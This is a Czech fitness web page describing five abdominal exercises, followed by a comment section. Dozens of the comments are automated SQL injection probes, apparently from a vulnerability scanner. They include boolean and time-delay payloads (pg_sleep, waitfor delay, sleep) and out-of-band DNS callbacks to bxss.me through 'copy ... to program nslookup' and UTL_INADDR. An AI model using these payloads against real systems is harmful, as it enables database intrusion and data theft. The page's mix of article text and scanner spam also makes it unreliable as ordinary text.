reklama
cz / EN / esp

Posilování: získejte pevné břicho jako kámen

Pomocí těchto pěti cviků si oživíte cviky na břicho. Podívejte se na video.

reklama

Cviků na břicho není nikdy dost. Člověk si vždy najde nějakou rutinu, která ho zpočátku motivuje ke cvičení, ale postupem času, kdy si tělo zvykne na nějaký standard zapojení břišního svalstva, přestává cítit pořádně procvičení cílených partií a nastává stagnace. Připravil jsem pro vás inspirující workout na břicho, který musíte vyzkoušet!

 

Tak jako zadek, tricepsy, stehna, tak i břicho potřebuje občas změnu. Nakopnutí. Někdy stačí málo, jen změnit pořadí cviků nebo zvýšit počty opakování, někdy je nutné obměnit celý trénink. Pro správné zapojení břišních svalů a procítění tím správným způsobem, je nutné zapojit břišní svaly ze všech stran.

 

Nejpodstatnější informace, i když to zní už jako klišé, zní: bez úpravy stravy bříško nezmizí. Můžete dělat 1000 sklapovaček, ale ten tuk tam zůstane. Pro tělo je posilování břicha příliš nízký kalorický výdej, takto tuky nespálíme. Můžeme posílit svalstvo pod vrstvou tuku, to bude sice pevné ale skryté. A hlavně: lokální hubnutí neexistuje. Tělo si samo určí, kde zhubne díky genetické a hormonální predispozice.

 

Ale když už máte jídelníček pevně v rukou a jste s ním ztotožněni, je na místě zařadit inspirující tréninkový program zaměřený na břišní svaly. Jeden z nich jsme sestavili spolu s mou milou trenérkou Lucií Klopáčkovou - Hriňovou.
Podívejte se na video, jednotlivé cviky si popíšeme v následujících řádcích.

 



Cvik č. 1
Zaměřujeme se na přímý břišní sval a šikmé břišní svaly.
Lehnete si na podložku, nohy ohnuté do 90 stupňů, položené chodidly na zem. Ve spodní poloze na zádech zvedněte ruce na hlavu a mějte je spojené. Zvedněte se do mírného sedu, přičemž spojené ruce vytočte spolu s trupem na stranu směrem k pánvi, můžete se dotknout i země. Totéž zopakujte i na druhou stranu.
Proveďte 4 série po 20 opakování - 10 opakování na stranu.



Cvik č. 2
Zde se zaměřujeme na přímý břišní sval spolu se spodním břichem.
Lehněte si na záda, v rukou držíte za hlavou měkký lehký míč. Ruce máte vleže nad hlavou, jednu nohu zvednutou, přičemž druhá noha je mírně nad zemí. Naším úkolem při tomto cviku je podat si míč podáním pod zvednutou nohou - druhá noha je stále mírně nad zemí, pak si míč zase podáme nad hlavou a nohy vyměníme.
Proveďte 4 série po 20 opakování - 10 opakování na stranu.



Cvik č. 3
Nyní se zaměříme na vrchní část břišních svalů.
Lehněte si na podložku, nohy spojte a vytvořte mezi stehny a lýtky úhel 90% stupňů. Nohy nejsou na zemi. Do ruky vezměte lehčí míč nebo medicinbal a provádějte zkracovačky s dynamickým nadhozením míče nad ramena. Při zpětném pohybu chyťte míč a dokončete druhou fázi zkracovačky položením se na zem.
Proveďte takto 5 sérii po 15 opakování.



Cvik č. 4
Zapojení vrchní části břicha je výrazné, mírně se zapojí i spodní část břicha.
Lehněte si na zem, ruce dejte za hlavu, nohy natáhněte do kolmé polohy vůči zemi. Mírným kmitáním zvedejte natažené nohy nad zem tak, aby se vám pánev oddělila od země.
Proveďte takto 3 série po 12 opakování.



Cvik č. 5
Při tomto cviku zapojíte šikmé břišní svalstvo a vrchní část přímého břišního svalu.
Lehněte si na zem jako při prvním cviku. Vezměte do ruky kettebell nebo jinou těžší zátěž. Zvedněte se do sedu, přičemž ruce a trup budete rotovat jednou do jedné a jednou do druhé strany.
Proveďte takto 4 série po 20 opakování - 10 opakování na stranu.

Michael Achberger / 07.07.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





xpuvnlpp 15.05.2018
1
xpuvnlpp 15.05.2018
1
xpuvnlpp 15.05.2018
1acuYm3yAPd0SH
xpuvnlpp 15.05.2018
1acuYm3yAPd0SH
xpuvnlpp 15.05.2018
1acuYm3yAPd0SH
xpuvnlpp 15.05.2018
1
xpuvnlpp 15.05.2018
1acuYm3yAPd0SH
1acumE1QjVB4RF 15.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
841' 14.05.2018
1
sxjnyvjf 14.05.2018
1
iiyqpafd';copy (select '') to program 'nslookup dns.sqli.\039481.50-5986.50.14f91.\1.bxss.me 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5985.50.14f91.1.bxss'||'.me')||' 14.05.2018
1
1 waitfor delay '0:0:30.096' -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
ljW2PrS2'));select pg_sleep(10.032); -- 14.05.2018
1
qxzfAnF3');select pg_sleep(10.032); -- 14.05.2018
1
GuphvAnV';select pg_sleep(30.096); -- 14.05.2018
1
H9saGf9q'; waitfor delay '0:0:30.096' -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
(select(0)from(select(sleep(30.096)))v)/*'+(select(0)from(select(sleep(30.096)))v)+'"+(select(0)from(select(sleep(30.096)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(30.096),0)/*'XOR(if(now()=sysdate(),sleep(30.096),0))OR'"XOR(if(now()=sysdate(),sleep(30.096),0))OR"*/ 14.05.2018
1
-1" OR 3*2>(0+5+436-436) -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1" OR 3*2<(0+5+436-436) -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1" OR 3+436-436-1=0+0+0+1 -- 14.05.2018
1
-1" OR 2+436-436-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+151-151) or 'fWj8jkAP'=' 14.05.2018
1
-1' OR 3*2>(0+5+151-151) or 'fWj8jkAP'=' 14.05.2018
1
-1' OR 3*2<(0+5+151-151) or 'fWj8jkAP'=' 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1' OR 3*2<(0+5+151-151) or 'fWj8jkAP'=' 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1' OR 3*2<(0+5+151-151) or 'fWj8jkAP'=' 14.05.2018
1
-1' OR 2+151-151-1=0+0+0+1 or 'fWj8jkAP'=' 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1' OR 3+151-151-1=0+0+0+1 or 'fWj8jkAP'=' 14.05.2018
1
-1' OR 2+151-151-1=0+0+0+1 or 'fWj8jkAP'=' 14.05.2018
1
-1' OR 2+151-151-1=0+0+0+1 or 'fWj8jkAP'=' 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1' OR 2+151-151-1=0+0+0+1 or 'fWj8jkAP'=' 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1' OR 3*2>(0+5+417-417) -- 14.05.2018
1
-1' OR 3*2>(0+5+417-417) -- 14.05.2018
1
-1' OR 3*2>(0+5+417-417) -- 14.05.2018
1
-1' OR 3*2<(0+5+417-417) -- 14.05.2018
1
-1' OR 3+417-417-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3+417-417-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+417-417-1=0+0+0+1 -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1 OR 3*2>(0+5+434-434) 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1 OR 3*2<(0+5+434-434) 14.05.2018
1
-1 OR 3*2<(0+5+434-434) 14.05.2018
1
sxjnyvjf 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1 OR 3+434-434-1=0+0+0+1 14.05.2018
1
-1 OR 3+434-434-1=0+0+0+1 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1 OR 3*2<(0+5+688-688) -- 14.05.2018
1
-1 OR 2+434-434-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+688-688) -- 14.05.2018
1
-1 OR 3*2<(0+5+688-688) -- 14.05.2018
1
-1 OR 3*2<(0+5+688-688) -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
-1 OR 3+688-688-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+688-688-1=0+0+0+1 -- 14.05.2018
1
sxjnyvjf 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
''"" 14.05.2018
1
'" 14.05.2018
1
JyI= 14.05.2018
1
@@qDwYP 14.05.2018
1
1%2527%2522 14.05.2018
1
\ 14.05.2018
1
1'" 14.05.2018
1
sxjnyvjf 14.05.2018
1
iiyqpafd 14.05.2018
673'
iiyqpafd 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-5934.50.14f91.\1.bxss.me
iiyqpafd 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-5933.50.14f91.\1.bxss.me'
iiyqpafd 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5932.50.14f91.1.bxss'||'.me')||'
iiyqpafd 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5932.50.14f91.1.bxss'||'.me')||'
iiyqpafd 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5932.50.14f91.1.bxss'||'.me')||'
iiyqpafd 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5928.50.14f91.1.bxss'||'.me')
iiyqpafd 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5928.50.14f91.1.bxss'||'.me')
iiyqpafd 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5928.50.14f91.1.bxss'||'.me')
iiyqpafd 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-5928.50.14f91.1.bxss'||'.me')
iiyqpafd 14.05.2018
3CnS2C0t'));select pg_sleep(34.438); --
iiyqpafd 14.05.2018
qb0GKJvD');select pg_sleep(34.438); --
iiyqpafd 14.05.2018
1 waitfor delay '0:0:0' --
iiyqpafd 14.05.2018
JcVTmjYY';select pg_sleep(34.438); --
sxjnyvjf 14.05.2018
''""
iiyqpafd 14.05.2018
-1));select pg_sleep(34.438); --
iiyqpafd 14.05.2018
1 waitfor delay '0:0:17.219' --
iiyqpafd 14.05.2018
-1);select pg_sleep(34.438); --
sxjnyvjf 14.05.2018
'"
iiyqpafd 14.05.2018
-1;select pg_sleep(17.219); --
sxjnyvjf 14.05.2018
JyI=
iiyqpafd 14.05.2018
SaBxsAJc'; waitfor delay '0:0:17.219' --
sxjnyvjf 14.05.2018
@@0HcdO
sxjnyvjf 14.05.2018
@@0HcdO
sxjnyvjf 14.05.2018
1%2527%2522
iiyqpafd 14.05.2018
-1); waitfor delay '0:0:51.657000000000004' --
iiyqpafd 14.05.2018
-1; waitfor delay '0:0:34.438' --
sxjnyvjf 14.05.2018
1%2527%2522
iiyqpafd 14.05.2018
if(now()=sysdate(),sleep(34.438),0)/*'XOR(if(now()=sysdate(),sleep(34.438),0))OR'"XOR(if(now()=sysdate(),sleep(34.438),0))OR"*/
iiyqpafd 14.05.2018
-1" OR 3*2>(0+5+326-326) --
iiyqpafd 14.05.2018
-1" OR 3*2<(0+5+326-326) --
iiyqpafd 14.05.2018
-1" OR 3+326-326-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1" OR 2+326-326-1=0+0+0+1 --
sxjnyvjf 14.05.2018
\
iiyqpafd 14.05.2018
-1' OR 3*2>(0+5+375-375) or 'CAd7zJqt'='
sxjnyvjf 14.05.2018
1'"
iiyqpafd 14.05.2018
-1' OR 3*2<(0+5+375-375) or 'CAd7zJqt'='
sxjnyvjf 14.05.2018
1'"
sxjnyvjf 14.05.2018
1'"
iiyqpafd 14.05.2018
-1' OR 3+375-375-1=0+0+0+1 or 'CAd7zJqt'='
iiyqpafd 14.05.2018
-1' OR 3+375-375-1=0+0+0+1 or 'CAd7zJqt'='
iiyqpafd 14.05.2018
-1' OR 3+375-375-1=0+0+0+1 or 'CAd7zJqt'='
sxjnyvjf 14.05.2018
1
iiyqpafd 14.05.2018
-1' OR 3+375-375-1=0+0+0+1 or 'CAd7zJqt'='
iiyqpafd 14.05.2018
-1' OR 2+375-375-1=0+0+0+1 or 'CAd7zJqt'='
iiyqpafd 14.05.2018
-1' OR 3*2>(0+5+936-936) --
iiyqpafd 14.05.2018
-1' OR 3*2>(0+5+936-936) --
iiyqpafd 14.05.2018
-1' OR 3*2<(0+5+936-936) --
iiyqpafd 14.05.2018
-1' OR 3+936-936-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1' OR 2+936-936-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1 OR 3*2>(0+5+15-15)
iiyqpafd 14.05.2018
-1 OR 3*2<(0+5+15-15)
iiyqpafd 14.05.2018
-1 OR 3+15-15-1=0+0+0+1
iiyqpafd 14.05.2018
-1 OR 2+15-15-1=0+0+0+1
iiyqpafd 14.05.2018
-1 OR 3*2>(0+5+338-338) --
iiyqpafd 14.05.2018
-1 OR 3*2<(0+5+338-338) --
iiyqpafd 14.05.2018
-1 OR 3+338-338-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1 OR 2+338-338-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1 OR 2+338-338-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1 OR 2+338-338-1=0+0+0+1 --
iiyqpafd 14.05.2018
-1 OR 2+338-338-1=0+0+0+1 --
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
iiyqpafd 14.05.2018
1
vcmmhmhy 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag